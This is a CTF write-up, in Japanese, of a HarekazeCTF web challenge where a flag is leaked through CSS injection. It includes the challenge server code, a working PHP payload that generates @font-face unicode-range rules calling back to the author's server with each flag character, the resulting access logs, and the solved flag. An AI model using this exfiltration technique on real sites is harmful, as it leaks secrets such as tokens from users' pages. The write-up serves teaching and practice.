Rating: 1.0

▼▼▼A custom CSS for the flag(Web:250)18/447team=4.0%▼▼▼

This writeup is written by @kazkiti_ctf

Description
Let’s decorate with fashionable CSS in this site(http://problem.harekaze.com:10003/).

Don’t DOS Attack.

1.脆弱性の特定

http://problem.harekaze.com:10003/

<html>
    <head>
        <meta charset="utf8" />
        <title>A custom CSS for the flag</title>
        <script src='https://www.google.com/recaptcha/api.js'></script>
    </head>
    <body>
        <h1>A custom CSS for the flag</h1>
        <a href="/server.js">server.js</a><br>
        <p>
            The flag is in <code>http://127.0.0.1:3002/flag.html</code>
        </p>
        <p>
            The flag format is the two CSS3 properties connected by a underscore (_).<br>
            Example: <code>HarekazeCTF{background-image_font-size}</code>
        </p>

        <form action="/crawl.html" method="post">
            Server side chromium will access the following URL. The URL of CSS file must starts with "http://" or "https://".<br>
            http://127.0.0.1:3002/flag.html?css=<input type="text" name="css" /><br>
            <div class="g-recaptcha" data-sitekey="6LdemkQUAAAAALOZJWo32hcBTeUxT2clpl2fVqMO"></div>
            <input type="submit"/><br><br>
            Chromium Version : 64.0.3282.119-1~deb9u1
        </form>
    </body>
</p>

flagは、http://127.0.0.1:3002/flag.htmlにあり、任意のCSSを設定できる

また、自動読み込み側のブラウザは、Chromium Version : 64.0.3282.119-1~deb9u1と書かれている。

CSSインジェクションからデータ抽出すればよいことがわかる。


2.攻撃方法の絞り込み

CSSインジェクションからデータ抽出する方法はいくつかあるので、どの攻撃が使えるか制約条件をserver.jsのソースコードから確認していく。

CSSのURLの読み込まれ方を確認

'use strict';

const express = require("express");
const bodyParser = require('body-parser');
const puppeteer = require('puppeteer');
const https = require('https');
const fs = require("fs");
const app = express();
const request = require("request");

app.use(bodyParser.urlencoded({ extended: true }))
app.use(bodyParser.json())

async function crawl(req, res) {
    if(!req.body['g-recaptcha-response']) {
        res.send("ReCAPTCHA error.");
        return;
    }
    var verificationUrl = `https://www.google.com/recaptcha/api/siteverify?secret=${process.env.RECAPTCHA_SECRET}&response=${req.body['g-recaptcha-response']}&remoteip=${req.connection.remoteAddress}`
    request(verificationUrl,async function(error,response,body) {
        const recaptcha = JSON.parse(body);
        if( recaptcha.success === true ) {
            res.send("Crawling");
            const browser = await puppeteer.launch({executablePath: '/usr/bin/chromium'});
            const page = await browser.newPage();
            await page.goto( "http://127.0.0.1:3002/flag.html?css=" + req.body.css, { waitUntil: "load" });
            await page.waitFor(20000);
            await browser.close();
        }else{
            res.send("ReCAPTCHA error.");
        }
    });
};

app.get('/server.js',function (req, res) { res.sendFile("/app/server.js") });
app.post('/crawl.html', crawl);
app.use('/', express.static('public'));
var server = app.listen(3001, function () {
    var host = server.address().address;
    var port = server.address().port;
    console.log('CSS-Injection http://%s:%s', host, port);
});

const app2 = express();
app2.get('/flag.html', function (req, res) {
    console.log(req.connection.remoteAddress);
    req.query.css = req.query.css || "";
    if (req.query.css.startsWith("http://") || req.query.css.startsWith("https://")) {
        res.send(`<html>
            <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
            <body>
                <div id="flag">
                        HarekazeCTF{${fs.readFileSync("flag.txt")}}
                </div>
            </body>
        </html>`);
    } else {
        res.send("Bad URI");
    }
});
var server2 = app2.listen(3002,"localhost");

<link rel="stylesheet" href="${encodeURI(req.query.css)}" />

まず、CSSは、rel="stylesheet"で読み込まれており、hrefにURLを反映できることがわかる。


次に、flagの場所は下記のように、属性の中ではないことがわかる。

<div id="flag">HarekazeCTF{${fs.readFileSync("flag.txt")}}</div>

これらより、@font-faceのunicode-rangeを利用する攻撃方法でデータ抽出できそうだ。


3.exploit

PHPで下記のようにコードを書いて、flagに使われている文字を抽出していく。

※クロスドメイン通信でのCSS読み込みでは、Content-Type:text/cssは必須であることに注意する。

css.php

<?php
header("Content-Type: text/css; charset=UTF-8");
for ($ascii = 33; $ascii < 126; $ascii++){
        echo "@font-face{ font-family:poc; src: url(http://{my_server}/?".chr($ascii)."); unicode-range:U+00".dechex($ascii).";}"."\n";
}
?>
#flag{ font-family:poc;}

後は、自サーバの下記のURLにcss.phpを配置して踏ませればよい。

http://{my_server}/css.php

すると、待ち受けているmy_serverにアクセスが来る。

163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /css.php HTTP/1.1" 200 8116 "http://127.0.0.1:3002/flag.html?css=http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?{ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?z HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?r HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?o HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?k HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?e HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?d HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?b HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?T HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?H HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?a HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?F HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?C HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?- HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?t HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?m HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?l HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?f HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?s HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?u HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?n HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?_ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?} HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?i HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"
163.43.29.129 - - [11/Feb/2018:03:30:22 +0000] "GET /?c HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"

使われている文字が、下記であることがわかった。

{zorkedbaFTHCtmlfusnic_-}

↓整理してみる

HarekazeCTF{odbtmlfusnic_-}

よって、{}の中はodbtmlfusnic_-を使うのは必須で、重複も可能なためabcdef..i.klmno..rstu....z_-の文字を利用できることがわかった。


4.flagの絞り込み

flag形式を再確認する

The flag format is the two CSS3 properties connected by a underscore (_).<br>
Example: <code>HarekazeCTF{background-image_font-size}

2つのCSS3のpropertiesを_で連結している形式であることがわかる。


下記のCSS properties Listを参考にした。

https://www.w3.org/Style/CSS/all-properties.en.html
http://htmlcss.jp/css/index.html

CSS3で新たに使えるようになったもの、使われていない文字ghjpqvwzyを元にプロパティを絞り込んだ。

また、組み合わせの確認については、必須文字が12文字なので6文字以上合致しているものを軸に、総当たりで確認していった。

すると、条件を満たすものを複数発見することができた。

border-bottom-left-radius × animation-direction
border-bottom-left-radius × animation-iteration-count
border-bottom-left-radius × column-count

border-top-left-radius × column-fill
border-top-left-radius × column-rule-color
border-top-left-radius × column-count

border-top-right-radius × column-fill

dominant-baseline × column-fill

8(上記の8個)×2(前後)=16回をブルートフォースしてflagを特定した

HarekazeCTF{animation-direction_border-bottom-left-radius}